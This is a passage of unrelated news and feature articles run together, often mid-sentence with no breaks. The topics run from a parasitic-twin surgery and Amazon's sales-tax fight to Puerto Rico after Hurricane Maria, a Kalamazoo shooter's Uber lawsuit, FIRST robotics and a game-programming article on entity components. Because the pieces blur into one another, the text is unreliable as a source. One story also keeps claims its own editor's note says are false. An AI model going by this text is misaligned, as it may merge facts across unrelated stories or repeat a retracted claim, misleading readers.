‘The baby had chances of catching septicemia. We immediately conducted CT Scans, blood tests and X-rays and operated on the child,’ the doctor added.
The hospital did not charge the family for any health or surgery costs.
The baby is recovering well and is being breastfed. The doctors are contemplating echocardiography and hoping to discharge her in two days.
Hetropagus twinning or commonly known as Parasitic twinning occurs when a twin embryo begins developing in the utero but the pair doesn’t fully separate and one embryo maintains a dominant development at the expense of the other.Expansion of Downtown Columbus Library Proposed
The Columbus Metropolitan Library (CML) announced today that they have negotiated a contract for the purchase of the old Deaf School property located south of the Main Downtown library, and adjacent to the Topiary Park. The 114-year-old four-story building is currently vacant and includes a 2.24 acre property. The CML Board of Trustees is scheduled to vote on the contract at their upcoming Jan 30th board meeting.
If obtained, the Downtown Library could connect the two buildings together to create new spaces, as well as connect the buildings to the Topiary Park with an outdoor terrace area.
“This acquisition gives us numerous options for the Main Library, which is now land-locked,” said Patrick Losinski, CEO of CML. “Our interest in the procurement is inspired by Bryant Park in New York, which is connected to the New York Public Library and provides an outdoor reading room and green space for library customers.”
Options for best using the new building and land are still being determined, but Losinski expects the decision making process to begin immediately.
More information can be found online at www.columbuslibrary.org.
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About the Author Walker is the co-founder of ColumbusUnderground.com and TheMetropreneur.com along with his wife and business partner Anne Evans. Walker has turned local media into a full time career over the past decade and serves on multiple boards and committees throughout the community.
Tags:When President Obama says Ronald Reagan would no longer win a Republican primary, as he did in the heat of the 2012 presidential election, Grand Old Partyers are probably not inclined to spend too much time wondering where it all went wrong.
But when a former Republican presidential candidate, Bob Dole, says essentially the same thing on Fox News, as he did Sunday... well, Grand Old Partyers are probably still not going to get too worked up about it. But it might at least perk their ears a bit more.
The challenges facing the national Republican Party are well known, having been thrown into sharp relief last November. Mr. Obama soundly defeated Republican candidate Mitt Romney among women, minorities, and youth. In a race taking place amid a largely stagnant economy, a president seen as extremely vulnerable won the Electoral College tally, 332 to 206.
It's a far cry from the days when Mr. Reagan won 49 of 50 states in 1984. Back then, there were Reagan Democrats. These days, it seems, there aren't even Bob Dole Republicans.
"Reagan couldn't have made it. Certainly, Nixon couldn't have made it, because he had ideas. We might've made it, but I doubt it," he said on Fox News Sunday.
Not content with saying that the most illustrious Republican leader of the past century would have been run out of his own party today because he had "ideas," Mr. Dole went further.
"They ought to put a sign on the National Committee doors that says 'Closed for repairs,' until New Year's Day next year and spend that time going over ideas and positive agendas," he said.
We're guessing that he's now somewhere behind New Jersey Gov. Chris Christie on the list of prospective keynote speakers at next year's CPAC convention.
To some, his comments will sound like the sour grapes of a man whose time has passed. But that might be the very reason they are so telling.
There is no question Dole is a different political animal from many of the Republicans (or Democrats) currently on Capitol Hill. He was a legislator in what is increasingly becoming an outdated sense of the word: Someone who made deals. Yes, often in the proverbial smoke-filled backrooms. Yes, often greased with the pork of pet projects for legislators' districts. But deals nonetheless.
In his comments to Fox News, Dole did not just single out Republicans for their intransigence. He looked to 1600 Pennsylvania Avenue with befuddlement, too.
"I think as a president, he lacks communication skills with his own party, let alone the Republican Party. And he's on the road too much," he said.
Translation: The president, like the Republicans, doesn't know how to make deals.
For Dole, who served as a senator from Kansas for 27 years, the idea of a Washington that doesn't know how to make deals is utterly foreign. It is Hollywood without egos, Detroit without automobiles, Atlanta without grits. Deals were Washington's very reason for being. Washington was political dealmaking. Without it, D.C. is just a bunch of squawking pinstripe suits.
Reagan was a part of that Washington. He made deals on immigration and on taxes. Bad ones, many conservatives would say. But deals nonetheless. They were part of his political DNA.
Could someone like that have passed the GOP's orthodoxy tests? Big ideas, after all, are just that – reaching across political lines.
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The answer is not "yes" or "no." Like LeBron vs. Jordan, the answer is that different people adapt to different times. Would Reagan have rejected the current tea party-fueled ethic of political principles über alles and become another Arlen Specter? Or would he, like House Speaker John Boehner (R) of Ohio or Sen. John McCain (R) of Arizona – men who were once more like Dole – simply have adapted to the political realities of the day.
That is an unanswerable question. But Dole is asking it."It's unique and we are very proud of it," said IEC vice-president Malleh Sallah, explaining how the Gambian Public Works department dreamt up the idea six decades ago.
Electoral officials say the system all but eliminates spoilt ballots and allows illiterate Gambians to vote more easily, while ensuring only one vote is cast per person.
Sawdust or sand is sprinkled on the bottom of the barrel so that no second sound is heard.
On Thursday President Yahya Jammeh is hoping to return for a fifth term in power but is facing an unprecedented surge in support for the opposition.
Adama Barrow, representing a coalition of opposition parties, is posing the greatest challenge to Jammeh's rule, while Gambian Democratic Congress (GDC) candidate Mama Kandeh is standing as the third candidate.
The country has around 880,000 eligible voters.By Veronica Carter
What some are calling the worst environmental bill Indiana has seen is coming up for a vote this week at the Statehouse.
The idea behind House Bill 1082, also known as No More Stringent Than bill, is to keep environmental regulators from passing state laws that are more restrictive than what the federal government already has in place.
Jesse Kharbanda, executive director of the Hoosier Environmental Council, says it's a really bad idea.
"We lead the country in the number of coal-ash lagoons," he points out. "We have serious pollution coming from storm water and from agricultural runoff.
"So, it's not wise to be basically tying the hands of Indiana's environmental experts, who protect our environment in situations where the federal government has acted insufficiently."
Kharbanda says it's easy to see how the lead contaminated water crisis in Flint, Mich., could happen here as well.
He says part of Michigan's problem was violations of the Clean Water Act, and adds if this bill passes, it would mean Indiana couldn't be proactive.
Kharbanda notes similar legislation has been proposed - and shot down - pretty much every year for the past two decades in Indiana.
"What would it mean for the air quality and water quality of Hoosiers when |
deal breaker for Amazon? But Caldwell has a point: Amazon’s ferocious response to recent attempts to get it to collect sales taxes suggests a company that thinks its life depends on not paying them. So what’s going on here?
The story starts in 1992, when the Supreme Court ruled that companies didn’t have to collect state sales tax unless they had some kind of physical presence in the state: a warehouse, say, or the company’s headquarters. At first this applied only to mail-order houses and nobody cared much. Then online retail started to take off, but as long as it was in its infancy nobody cared too much about that either. But the online world is no baby anymore: It accounts for upwards of $150 billion in sales each year, nearly 10% of the total in the United States.
With that much at stake, and growing fast, states have started to panic. Sales tax revenue is one of their main funding sources, and as more and more business goes online, that revenue starts to dry up. So they’ve started fighting back, only to run into an implacable buzz saw of opposition from Amazon.
Texas, where Amazon does have a physical presence, billed them for back taxes earlier this year and Amazon promptly announced that it would pull up stakes and leave. When South Carolina voted against giving Amazon a special tax exemption, Amazon announced that it would abandon a new warehouse near Columbia that was already half built. Tennessee is getting the same treatment for refusing to play ball. And when Illinois passed a law demanding tax payments based on the fact that Amazon has thousands of affiliates in the state, Amazon ruthlessly severed every one of its affiliates’ contracts. In New York, which also passed a law requiring tax payments based on Amazon’s affiliate program, Amazon is paying up, but only so it has standing to sue in federal court.
The latest state to insist that Amazon collect state sales taxes is California. Amazon’s response? As in Illinois, they summarily severed the contracts of every one of its affiliates in the Golden State. But that’s not all. Like mafia goons going to the mattresses in a gang war, Amazon immediately announced that it would spend millions of dollars to place a referendum on the ballot to nullify the new California law. And in the meantime? Law or no law, they won’t be collecting sales tax in California, and that’s that. Los Angeles Times columnist Michael Hiltzik explains why a ballot measure is so alluring to Amazon:
In court, Amazon would have to painstakingly muster credible legal arguments and present them to a judge who, more often than not, is no fool. In a California ballot campaign, one can try to mislead voters by deploying half-truths, outright lies and flagrant deceit. Lie to a judge, and you might end up with a stiff fine for contempt and maybe jail. Lie to the California electorate, and you might win an election. Amazon hasn’t ruled out challenging the California law in court, and it might do so if the referendum fails. But is there any mystery why it preferred to start with a ballot measure?
And what is Amazon’s response to all this? Their CEO, Jeff Bezos, says that they support a federal law to streamline and harmonize state sales taxes. This is, needless to say, a transparent dodge: Bezos knows perfectly well that a Republican-dominated Congress will never pass such a law. In the meantime, state treasuries are slowly but steadily being bled dry thanks to Amazon’s take-no-prisoners approach to paying taxes. With most states still hammered by depressed tax collections thanks to the poor economy, this means that Amazon’s remorseless resistance to collecting taxes is in direct conflict with funding for schools, parks, medical care, and street repairs.
Why wage a brutal, unpopular, scorched-earth campaign like this over a few percentage points? Probably because Caldwell is right: For all its talk of technology and convenience and selection, Amazon basically stays in business because it can charge slightly lower prices than brick-and-mortar stores. A level playing field might be good for state coffers and the schools and police officers they support, but to Amazon that doesn’t matter. It’s nothing personal, mind you. Just business.More than two months after Hurricane Maria devastated Puerto Rico, large sections of the island have yet to have electricity restored. The state of the power grid is still so unstable that even those areas that have been re-electrified can’t really count on around-the-clock power.
As many observers have noted, this is an untenable situation. I’ve worked for much of my adult life as a solar engineer, installing solar microgrids in remote parts of the world that previously had no access to electricity. But Puerto Rico is different. All over the island, people have relied for decades on steady, abundant electricity and the modern conveniences that come with it. And so to suddenly not have electricity presents all kinds of hardships—some obvious and some less so.
For me personally, this ongoing hardship is especially wrenching. I grew up in Puerto Rico, in the rainforest of El Yunque and on the beaches of Luquillo, and much of my family is still there. Immediately after the storm, I couldn’t reach any of them because of course they had neither power nor phone service. When officials announced that power wouldn’t be restored for months, I booked the earliest flight to San Juan that I could find. I spent a week in Puerto Rico in early October, checking on relatives and friends and helping where I could.
My time there veered from the absurd to the devastating. Several times a day, I’d manage to walk into a room, flick on the light switch, and then laugh at myself for having forgotten—again. There were emergencies happening seemingly everywhere I turned—people needing medical help they couldn’t get, others unable to work or go to school, businesses unable to stay open. Since my return to New York, I’ve been working hard to get the word out about conditions on the ground there. Here are seven facts about living in Puerto Rico right now.
1. Stoplights don’t work
Driving around after the storm was chaotic. Every intersection became a test of wills—the bold and reckless forged ahead, heedless of cross traffic, the meek waited for a break in traffic to make their move. Although a few of the busier intersections had traffic cops, the vast majority didn’t. And the cops who had to stand out in the sun and the heat all day serving as stoplight replacements clearly were having a rough time. Did I mention there was a heat wave right after the storm?
2. ATMs and credit cards don’t work
Puerto Rico has a modern banking system, but after the storm hit, many ATMs didn’t work at all for lack of power. Those that were still operating quickly ran out of money. Without money, consumers couldn’t buy anything, and businesses couldn’t sell anything. And of course credit cards didn’t work because there was no way to process transactions. The economy basically ground to a halt.
Businesses that did manage to stay open relied on generators and cash. Even then, it was a struggle. One day, I and some friends were having lunch at my favorite restaurant, Toro Salao, when the manager informed us that we were eating the last of the tostones, a delicious alternative to French fries made from plantains. The storm had knocked down nearly all of the island’s plantain trees.
3. Cellphones don’t work
Before the hurricane, the island enjoyed decent cellphone coverage pretty much everywhere. The storm knocked out 95 percent of Puerto Rico’s cell service [PDF], according to the U.S. Federal Communications Commission. Throughout my stay, phone service remained down across most of the island, with only limited service within San Juan and a few other spots. Restoring phone service will mean not just repairing cell towers that were damaged but also electrifying them.
For most people I met, lack of communication was the single biggest source of stress. Going days on end without knowing whether family members were okay is something that no one should have to go through.
I did manage to place a few calls either with a satellite phone or by calling when I happened to drive through an area that had reception. It’s hard to describe that intense feeling of relief when you do finally hear from a loved one. I went through it myself when I got word that my parents and brothers were okay. I experienced an entirely different set of emotions when I learned that my favorite uncle had passed away right after the storm. By the time I found out, he had already been dead a week.
4. Water doesn’t work
It takes electricity to run the pumps that move water through the system, and it takes electricity to filter and treat the water so that it’s safe to drink. I visited some towns that had diesel-powered emergency generators to get the water flowing again. But much of the island’s infrastructure was so badly damaged that even now, many places still lack clean running water. The water crisis has in turn prompted medical experts to warn of a looming health crisis in Puerto Rico.
5. Refrigeration doesn’t work
No electricity means your fridge soon becomes just a big box with rotting food inside. As temperatures climb, food quickly goes bad, and so people are forced to shop for food every day. During my visit, supermarkets that were still open had long lines of people standing in the sun, waiting to shop for a very limited selection of goods. Ice is therefore in high demand, to keep food and drinks cool a little longer and maybe postpone another punishing trip to the store.
6. It’s dark
No street lights or house lights or lights of any kind means the nights are really dark. I’ve camped in the desert before, but this was a different kind of dark. Trying to drive at night was surprisingly difficult—street signs were hard to read, buildings were indistinguishable from one another, and the usual landmarks weren’t at all obvious.
Photo: Rumi Humphrey People Power: Portable solar chargers allow some residents of Vieques, Puerto Rico—including the mayor, Víctor Emeric [right]—to charge their cellphones and small LED lights. The power grid is still down on Vieques.
7. Solar power works!
Fortunately, my experience designing and installing solar microgrids for rural villages in Haiti, India, and sub-Saharan Africa, and urban rooftops in New York City came in handy. Before my trip, I’d collected money via a crowd-sourcing fundraiser, and I arrived in Puerto Rico with a suitcase full of portable solar panels designed by Voltaic Systems of Brooklyn, N.Y., suitable for charging cellphones and other small devices. I also brought LED lights, water filters by LifeStraw, and CampStoves by Biolite. As I traveled around the island, I gave the equipment to people I met. The recipients were invariably overwhelmed and grateful, and I felt lucky to be able to offer them the means to connect with their loved ones, drink clean water, and prepare a meal.
There is still so much work to do. I’m back home in Brooklyn but I can’t rest. Having worked in the energy industry for a long time, I know that I can make a difference, helping to build a cleaner, more resilient power system for Puerto Rico. If you have a technical background, please consider using your expertise to help others who really need it.
About the Author
John Humphrey was born and raised in Puerto Rico. He now lives in Brooklyn, N.Y., and has been working with solar equipment since 2001. He’s currently developing solar-powered community centers to help re-electrify and rebuild communities in the Caribbean that were devastated by the recent hurricanes. You can read about his projects here, and you can donate to the solar Gazebo Community centers project here. His recent trip to Puerto Rico was documented in “After Maria: A Puerto Rico Story,” produced by Praytell Films.NEW DELHI: The owner and warden of a shelter home in southwest Delhi were booked after five girls alleged they were being forced by the duo to convert to Christianity.On Saturday, the women testified before a magistrate and their statements were recorded. The case was filed at the Dwarka (south) police station. BJP leaders from the area and some Hindu organizations held demonstrations outside the police station on Saturday asking for strict action against the accused. They had also protested on Friday.The women alleged the duo asked them to wear the cross. They also alleged they were being forced to eat meat and were not allowed to go to temples. The women said that when they resisted, they were tortured and threatened. The accused have denied the allegations.BOSTON (AP) — U.S. Sen. Bernie Sanders is planning to rally with candidates running for city council, school board, and the board of aldermen in Somerville and Cambridge.
Monday’s visit is meant to highlight candidates running in elections nationwide in November who have been endorsed by Our Revolution, an offshoot of Sanders’ unsuccessful presidential campaign.
Our Revolution Somerville member Rand Wilson says the group has been organizing for months to continue the revolution started by the Sanders’ campaign by focusing on more local political contests.
Sanders, an independent from Vermont, will be campaigning with 17 candidates endorsed by Our Revolution Somerville and Our Revolution Cambridge.
The rally is planned for 9:30 a.m. at ONCE Somerville. Admission is free and is on a first come basis.
(© Copyright 2017 The Associated Press. All Rights Reserved. This material may not be published, broadcast, rewritten or redistributed.)Ireland captain William Porterfield insisted his side belonged among the world's elite and said he despised the tag of "Associate" which virtually brands a host of teams as second-class citizens.
Non-Test playing Ireland are on course for a World Cup quarter-final place and can ensure a spot in the last eight if they shock defending champions India on Tuesday.
They already have six points from three wins and a defeat in Pool B, seeing off Test sides West Indies and Zimbabwe as well as the amateurs of the United Arab Emirates.
Their only defeat so far was a 201-run wake-up call against South Africa.
Victory over either India or Pakistan, in their final group game in Adelaide on Sunday, will put them in the quarter-finals with Pakistan or West Indies heading home.
"I don't like that tag of Associates," said Porterfield, whose team qualified for the tournament as one of four non-Test sides alongside Afghanistan, UAE and Scotland.
"I don't think teams should be associated any differently, and putting those tags on us.
"As far as I'm concerned, there is a ranking system in place and that's where we're at," added Porterfield whose team is ranked 11 in the world.
Non-Test teams, however, could miss out on the 2019 World Cup with the International Cricket Council (ICC) planning to reduce the number of participating teams from 14 at the ongoing event to just 10.
"Hopefully the ICC will take notice and will start looking at the next World Cup," said Porterfield.
"Obviously, cutting teams in the World Cup isn't the way forward unless that's the vision for the game.
"If you want to progress your game and grow the game of cricket, then cutting teams in world competitions isn't the way forward."
Regardless of his fears for future tournaments, Porterfield is relishing the tantalising prospect of making the quarter-finals.
"Yeah, it's a nice position to be in," he said. "We want to be in the quarter-finals, we set ourselves this goal before we came here but it doesn't count for anything if we don't keep getting good performances and good starts to the game."
Porterfield, whose team also made it to the second round of the 2007 World Cup in the Caribbean by shocking Pakistan, said they will not be paying India too much respect.
"It's like any other game. We've gotten into each game with two points up for grabs, and tomorrow isn't any different. We've approached each game with great clarity and great professionalism and we've prepared very well."
Porterfield said Ireland would like to restrict India's batting, widely regarded as the best in the world.
"Look, obviously, we've got to try and restrict them with the ball and take wickets. It's just like any game of cricket and in this format the best way of restricting teams is taking wickets.
"Whatever we do, the first ten overs is going to be big, if that's with the bat or with the ball, we have to start the game well and get into it."
Porterfield relished the publicity his team were generating back home.
"You speak to people who are back home and the stories that you see coming out are great, and that's where cricket is going in Ireland. So, hopefully, yeah, we do make those quarter-finals and keep pushing on as a country ourselves."
First Published: Mar 09, 2015 16:56 ISTMONTREAL — The NDP has suspended a member from its shadow cabinet because of his chronic, long-term failure to pay taxes.
Tyrone Benskin has been stripped of his role as official-languages critic until he pays the taxes he owes.
The announcement follows a report that Quebec’s revenue agency has contacted the House of Commons to seize part of his salary because of more than $58,000 he owes the province for unpaid taxes between 2007 and 2011.
The Montreal MP had been an actor in films, including the popular “300,” before being elected in 2011.
Benskin has apologized in a statement.
“In order for our society to be prosperous and fair, each citizen must do their part. I haven’t always done mine and I apologize,” he said.
“Fortunately, I am working on sorting out my situation with the Canada Revenue Agency. I intend to pay back every last cent of the money I owe, as soon as possible.”
He also offered an explanation about why he was so late.
“The life of an artist isn’t always easy. I have had lean periods,” he said. “I have lived in precarious conditions, not knowing what the future had in store for me, sometimes without a contract for several weeks, or even months. I have had to juggle bills.
He has to pay his taxes, like everyone. He will do it. He will do it completely. He apologized — which was the right thing to do
“My situation has prevented me from fulfilling all of my tax obligations and I am truly sorry. I recognize that it is my responsibility and I will fulfill it directly and personally.”
NDP Leader Tom Mulcair says he’s happy the MP apologized — but will now be sidelined until he settles his tax bill.
“He has to pay his taxes, like everyone. He will do it. He will do it completely. He apologized — which was the right thing to do,” Mulcair told reporters Friday in Trois-Rivieres, Que.
“Until then, I have removed him from our shadow cabinet. So he loses his responsibility in official languages until he pays his taxes.”
The NDP has come under some criticism for the vetting of candidates in the 2011 election, where in a swift and surprising breakthrough it elected 59 MPs in Quebec.
In the days following the election, the CVs of some of the rookie MPs came under intense scrutiny in Quebec media and from the Bloc Quebecois — which had been nearly wiped out by the so-called Orange Crush.
Benskin, for his part, had fought for tax changes after arriving in Parliament.
His private member’s bill, C-427, was rejected by the governing Tories. It would have averaged out certain people’s earnings over a period of years, so the tax hit would not suddenly spike in an occasionally prosperous one.
He described the bill last year as a relief for independent artists who cannot access Employment Insurance, and he said at the time that it would help many artists who struggle with a “feast or famine” cycle.Jason Dalton
Editor's note: Kalamazoo County Undersheriff Paul Matyas said Thursday that the lawsuit reported on in this story was not filed by Jason Dalton.
KALAMAZOO – The man charged with killing six people and wounding two others in Kalamazoo last month is suing Uber.
Jason Dalton filed a handwritten lawsuit with the U.S. Federal District Court for the Eastern District in Detroit asking for $10 million from the ride-sharing company for ruining his life.
In his two-page complaint Dalton, 45, said he worked for years as a Uber contractor “and they ripped me off, never paid me back wages or overtime. I busted my butt for them. They gave me no Christmas bonus, I wasn’t invited to any corporate parties, they made me work when I was sick and they didn’t let me spend time with my children. Uber treats their drivers like crap.”
Dalton said he had to pay for his gas and repairs on his vehicle after hitting potholes and he was called late at night to work or officials said he would be fired.
“This company is a hostile workplace environment. I am tired of being treated by (sic) second class citizen by Uber. Uber discriminates against my mental health.”
Dalton also said in his complaint filed with the court that, “I am currently in prison because of Uber. My life is ruined because of Uber. My wife is divorcing me because of Uber. I am seeking $10 million in punitive damages and Emotional distress. I have psychological distress because of Uber.”
In a prepared statement the company said "It's hard to know how to respond to someone who refuses to take responsibility for his own actions. Our hearts go out to victims' families who have to live with the consequences of his terrible crimes."
Company officials have said Dalton was approved as a driver near the end of January and worked for less than a month.
In interviews with officers from the Kalamazoo Department of Public Safety after his arrest, Dalton said he was directed when and where he was to shoot people by a Uber app on his phone that showed a devil's face and also directed him to wear body armor.
Dalton dated the complaint on March 11 and court records show it was filed by letter with the court on Tuesday. It was assigned to Judge John O'Meara.
Dalton was arrested in Kalamazoo County on Feb. 20 after police said he shot and killed six people and wounded two others at three locations. Three of those killed and one severely wounded were from Battle Creek.
He is charged with six counts of open murder and two counts of assault with intent to murder along with eight counts of use of a firearm in the commission of a felony. He faces a mandatory life sentence in prison without parole if convicted.
His court-appointed attorney, Eusebio Solis of Battle Creek, said Wednesday he was not aware of Dalton’s lawsuit until he was contacted by reporters. Kalamazoo County Sheriff Paul Matyas also was not aware of the suit until contacted by the Enquirer but said Dalton, like all inmates, has mailing privileges.
Dalton is awaiting a mental evaluation before legal proceedings continue in Kalamazoo County. He is housed at the Kalamazoo County jail without bail.
Contact Trace Christenson at 966-0685 or tchrist@battlecreekenquirer.com. Follow him on Twitter: @TSChristenson
You can view Dalton's complaint here:
Contact Trace Christenson at 269-966-0685 or tchrist@battlecreekenquirer.com. Follow him on Twitter: @TSChristenson
Read or Share this story: http://bcene.ws/1poJJoZWhen I think of open source, I think of FIRST.
FIRST (For Inspiration and Recognition of Science and Technology) is training the next generation of open source contributors through a program called FRC, or FIRST Robotics Competition. FRC challenges teams to build a robot in six weeks that can compete in a competition. This year the challenge is called Recycle Rush. The goal is to stack plastic totes and recycling bins on scoring platforms to score points. The team with the higher score wins.
But, FIRST is about more than winning. It's also about more than robots. It's really about friendly competition and learning technical skills.
As you may have guessed, I'm on a FRC team. I'm a proud member of Team 2399, The Fighting Unicorns. We're an all-girls team, of around twenty, and we use a lot of open source. The code for our robot is available under an MIT license and on GitHub. FRC programmers act like a community within our groups, but also outside of our groups. We regularly browse FIRST forums to fix code bugs remotely for other teams. And, some members of my team have even driven an hour to help another team with their robot. My team believes in open source culture; there have been many times we have needed help, and we actively help others.
At FRC competitions, open source culture is abundant too. Programmers tend to find other programmers to talk to about their latest projects, and I can recall countless announcements over the intercom that "team X needs a programmer." It's kind of like the bat signal, but for programmers. Whenever the call for programmers is announced during a competition, there's a scrambling of programmers from the many teams there that rush to the pit administrator to help out. Once the location has been determined, the small herd of programmers makes a mad dash over to the team that needs help. When we get there, we figure out who knows the language that the team is programming in and how can help; while those who can't help go back to their team's pit.
Once, a team I had been helping throughout the day lost communications with their robot for unknown reasons. They couldn't contact the roboRIO, or "brain" of their robot, which meant that they couldn't control it. They couldn't get contact from their laptop, and the pit administrator couldn't get contact either, even when he reset the roboRIO and enabled it in safe mode. I noticed a large gathering of people in that team's pit. I went in and got some background on what had been happening. I tried to ping the roboRIO, but got no response. Then, I left the pit to grab my Linux laptop. I returned with my pink tool belt and Linux skills blazing. I opened my terminal, plugged in the ethernet to the roboRIO, and tried to ping it again. This time it worked! We had reestablished communications. And though no one ever really knew why, no one cared at that point because now they had a functional robot. At the time, we were just glad to have saved the roboRIO.
Looking back, I see this as an example of how people come together in the spirit of robots and find themselves using open source tools.
Open source has a strong tie to the FIRST value of gracious professionalism. What it boils down to is sharing what you know with others. There are countless other ways that open source is used in FIRST. Teams embrace a culture of sharing and learning for the good of all—an open source culture. And, at all levels of the program, from grade school to high school, kids are being taught numerous skills—including the value of open source. The world of FIRST is full of students, mentors, and volunteers who make it all happen and worthwhile. I cannot say enough how much the mentors and volunteers do, and how important they are. I want to take a moment to thank them for their time and dedication!
Soon, my team (Team 2399 The Fighting Unicorns) will be going to the FIRST World Championship in St. Louis from April 22-24. At the competition, we will be using our robot, Helena of Troy, and lots of open source programming and tools along the way. There, teams will share their scouting databases, code, and how-to guides for rookie and veteran teams.
If you'd like to see our progress at competition, follow us on Twitter @HBRobotics2399.Blake Bortles took some big hits on third downs last season for Jacksonville. (AP)
Last year, we did a two-part series looking at Blake Bortles’ interceptions as a rookie. And the main takeaway from that project was not all of the interceptions were his fault.
This year we’re going to look in-depth at some of the NFL’s most interesting quarterbacks, leading up to the regular season, starting with with Bortles.
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This summer I looked at all of the Jacksonville Jaguars’ third-down passes last season. And, like the interceptions, it’s easy to see that when there was a breakdown, it was not all on Bortles. Bortles has to get better on third down, but more important the entire Jaguars offense has to get better on third down.
Bortles’ numbers on third down last season weren’t very good. He completed just 50.7 percent of his passes with six touchdowns, four interceptions and an amazing 29 sacks.
The last number is important. There were too many third-down plays in which Bortles had no chance because the Jaguars didn’t protect him well enough. There were significant pass-protection issues and they were both schematic and individual breakdowns in one-on-one matchups. Too often the Jaguars linemen blocked the wrong guy, and there were far too many free rushers.
As a result, Bortles didn’t have enough rhythmic, structured completions on third down — drop back, hit your back foot, throw to the primary receiver or start your progression and deliver the ball.
Here’s a one-on-one breakdown. Luke Joeckel, the second pick of the 2013 draft, doesn’t look like a left tackle. He has a light lower body so he can’t anchor. He doesn’t have enough lower body strength and his feet aren’t fast enough, a bad combination. He might not be able to transition to guard, because he’s too light.
Story continues
On this play, Whitney Mercilus of the Houston Texans beats Joeckel with an inside spin move. Bortles has no chance.
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Here’s another sack that’s more schematic. This is a window into all the work NFL coaches do to identify tendencies and how they scheme to beat them.
When opponents show double “A” gap pressure (or “double mug” front), with defenders lining up in the gaps on either side of the center, the Jaguars would move their running back up near the line to block. They didn’t want to mess around, they just wanted to protect up the middle. The Jaguars walked their running back toward the line against the “double mug” look all season.
The New Orleans Saints knew that by the time they faced Jacksonville in Week 16. So when Denard Robinson moved up in response to the “double mug” front, the Saints dropped those players on either side of the center into coverage on the snap. Safety Kenny Vaccaro was unaccounted for blitzing off the edge and got a sack.
That’s good coaching by the Saints.
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The Jaguars have the weapons to get better on third down. They use a lot of stack releases and bunch concepts out of the three-receiver side of 3-by-1 sets (three receivers to one side, one receiver to the other). That’s their preferred alignment on third down. The key is the “X iso” receiver on the other side. We’ll see in each of these next two plays how the Jaguars created a one-on-one matchup for their intended receivers in space.
Usually the Jaguars line up with Allen Robinson on the “X iso” side. And he’s tough to defend. Against Tennessee in Week 13, the Jaguars came out in a 3-by-1 set, they got Robinson in man-to-man coverage with no safety help and Bortles got him the ball for 31 yards. It’s exactly what the Jaguars wanted.
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The Jaguars started incorporating tight end Julius Thomas as the “X iso” in these sets when he got healthy from a preseason hand injury. He’s a matchup problem as an athletic tight end. Here’s a good example of how the Jaguars can use him in 3-by-1 sets, on a 34-yard catch against the San Diego Chargers.
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Expect to see a lot more of that set from the Jaguars on third down this year, with Thomas being a big part of the “X iso” role now that he’s healthy.
You have to be good on third down to be a high-level quarterback. Last season, some of the protection issues might have been cumulative for Bortles; he started to anticipate pressure before it even got to him. That happens when you take 29 sacks on third down. Bortles didn’t make many bad decisions. But the passing game itself was not comfortable to watch. There wasn’t a rhythm and smoothness to it. Not all of that is on Bortles, though.
Bortles has the weapons and the talent to take a nice step forward this season, especially on third down. It’s safe to assume third-down offense was a big priority for the Jaguars this offseason.
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NFL analyst and NFL Films senior producer Greg Cosell watches as much NFL game film as anyone. Throughout the season, Cosell will join Shutdown Corner to share his observations on the teams, schemes and personnel from around the league.By Mick West
Refactoring Game Entities with Components
Up until fairly recent years, game programmers have consistently used a deep class hierarchy to represent game entities. The tide is beginning to shift from this use of deep hierarchies to a variety of methods that compose a game entity object as an aggregation of components. This article explains what this means, and explores some of the benefits and practical considerations of such an approach. I will describe my personal experience in implementing this system on a large code base, including how to sell the idea to other programmers and management.
GAME ENTITIES
Different games have different requirements as to what is needed in a game entity, but in most games the concept of a game entity is quite similar. A game entity is some object that exists in the game world, usually the object is visible to the player, and usually it can move around.
Some example entities:
Missile
Car
Tank
Grenade
Gun
Hero
Pedestrian
Alien
Jetpack
Med-kit
Rock
Entities can usually do various things. Here are some of the things you might want the entities to do
Run a script
Move
React as a rigid body
Emit Particles
Play located audio
Be packed up by the player
Be worn by the player
Explode
React to magnets
Be targeted by the player
Follow a path
Animate
TRADITIONAL DEEP HIERARCHIES
The traditional way of representing a set of game entities like this is to perform an object-oriented decomposition of the set of entities we want to represent. This usually starts out with good intentions, but is frequently modified as the game development progresses - particularly if a game engine is re-used for a different game. We usually end up with something like figure 1, but with a far greater number of nodes in the class hierarchy.
As development progresses, we usually need to add various points of functionality to the entities. The objects must either encapsulate the functionality themselves, or be derived from an object that includes that functionality. Often, the functionality is added to the class hierarchy at some level near the root, such as the CEntity class. This has the benefit of the functionality being available to all derived classes, but has the downside of the associated overhead also being carried by those classes.
Even fairly simple objects such as rocks or grenades can end up with a large amount of additional functionality (and associated member variables, and possibly unnecessary execution of member functions). Often, the traditional game object hierarchy ends up creating the type of object known as "the blob". The blob is a classic "anti-pattern" which manifests as a huge single class (or a specific branch of a class hierarchy) with a large amount of complex interwoven functionality.
While the blob anti-pattern often shows up near the root of the object hierarchy, it will also show up in leaf nodes. The most likely candidate for this is the class representing the player character. Since the game is usually programmed around a single character, then the object representing that character often has a very large amount of functionality. Frequently this is implemented as a large number of member functions in a class such as CPlayer.
The result of implementing functionality near the root of the hierarchy is an overburdening of the leaf objects with unneeded functionality. However, the opposite method of implementing the functionality in the leaf nodes can also have unfortunate consequence. Functionality now becomes compartmentalized, so that only the objects specifically programmed for that particular functionality can use it. Programmers often duplicate code to mirror functionality already implemented in a different object. Eventually messy re-factoring is required by re-structuring the class hierarchy to move and combine functionality.
Take for example the functionality of having an object react under physics as a rigid body. Not every object needs to be able to do this. As you can see in figure 1, we just have the CRock and the CGrenade classes derived from CRigid. What happens when we want to apply this functionality to the vehicles? You have to move the CRigid class further up the hierarchy, making it more and more like the root-heavy blob pattern we saw before, with all the functionality bunched in a narrow chain of classes from which most other entity classes are derived.
AN AGGREGATION OF COMPONENTS
The component approach, which is gaining more acceptance in current game development, is one of separating the functionality into individual components that are mostly independent of one another. The traditional object hierarchy is dispensed with, and an object is now created as an aggregation (a collection) of independent components.
Each object now only has the functionality that it needs. Any distinct new functionality is implemented by adding a component.
A system of forming an object from aggregating components can be implemented in one of three ways, which may be viewed as separate stages in moving from a blob object hierarchy to a composite object.
OBJECT AS ORGANIZED BLOB
A common way of re-factoring a blob object is to break out the functionality of that object into sub-objects, which are then referenced by the first object. Eventually the parent blob object can mostly be replaced by a series of pointers to other objects, and the blob object's member functions become interface functions for the functions of those sub-objects.
This may actually be a reasonable solution if the amount of functionality in your game objects is reasonably small, or if time is limited. You can implement arbitrary object aggregation simply by allowing some of the sub-objects to be absent (by having a NULL pointer to them). Assuming there are not too many sub-objects, then this still allows you the advantage of having lightweight pseudo-composite objects without having to implement a framework for managing the components of that object.
